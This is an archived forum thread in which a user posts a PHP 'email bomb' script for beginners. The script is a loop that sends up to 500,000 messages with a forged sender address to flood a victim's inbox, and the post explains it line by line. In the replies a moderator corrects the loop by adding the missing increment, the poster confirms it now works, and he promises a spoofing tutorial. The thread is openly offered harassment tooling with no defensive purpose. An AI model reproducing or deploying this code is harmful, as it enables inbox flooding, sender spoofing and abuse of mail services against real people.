Go4Expert

Go4Expert (http://www.go4expert.com/)
-   PHP (http://www.go4expert.com/forums/php/)
-   -   Basic PHP Email Bomb for newbies (http://www.go4expert.com/forums/basic-php-email-bomb-newbies-t23590/)

&ever 16Oct2010 21:54

Basic PHP Email Bomb for newbies
 
I haven't yet seen anything for an email bomb on here, so I decided to make one, and here is the code:

<?php
$mail = 1;
do {
mail("Client", "Subject", "Message", "Fake email you send from");
} while($mail < 500000);
?>
__________________________________________________ ___________________________
Above is the basic code for an email bomb with an email spoofer, the spoofer doesn't for this really doesn't require any coding skill, just the knowledge to type in an email.

In order to use this code you must find a webhosting site or anybody that allows PHP coding, I recommend making your own site.

Explanation:

<?php This is the starting of the code.
$mail = 1; This is defining the variable($mail) to equal 1
Do { This is a function
Mail("Client" , "Subject" ,"Message", "Fake email");
} Ends the function and is going to "reply ;)" to the email given
While($mail < 50000); Says how many emails you will be sending
?> Ends index.php

This will not work very well with any email server that is a known name (yahoo, Gmail) they will just put it all in one folder.
Bresnan Msn and things like that usually are fine
__________________________________________________ ________________________
Hope this helped.
Will be making a tutorial on how to spoof your real email soon.

shabbir 16Oct2010 22:35

Re: Basic PHP Email Bomb for newbies
 
Isn't this an infinite loop because you are not incrementing the $mail

&ever 16Oct2010 22:47

Re: Basic PHP Email Bomb for newbies
 
Yes but ($mail < 50000); sets the max emails sent.

shabbir 16Oct2010 23:00

Re: Basic PHP Email Bomb for newbies
 
} while($mail < 500000); and } while($mail < 2); is same if you don't increment the variable.

&ever 16Oct2010 23:02

Re: Basic PHP Email Bomb for newbies
 
Your right, my mistake.

&ever 16Oct2010 23:31

Re: Basic PHP Email Bomb for newbies
 
Quote:

Originally Posted by shabbir (Post 73788)
} while($mail < 500000); and } while($mail < 2); is same if you don't increment the variable.

I tested my code and recieved a few hundred emails...
nothing allows me to increment $mail , just gives me an error even your
"} while($mail < 500000); and } while($mail < 2);"

Would you like to create a bomb test it then send me the code to prove me wrong(all due respect)
I would just like to see this incrementation. I just tested all possible increments and cant seem to get them to work.

shabbir 17Oct2010 10:29

Re: Basic PHP Email Bomb for newbies
 
$mail++ would do it but if this does not work let me know and I will share the code snippets.

&ever 17Oct2010 12:07

Re: Basic PHP Email Bomb for newbies
 
That fixed it, thanks!


All times are GMT +5.5. The time now is 17:56.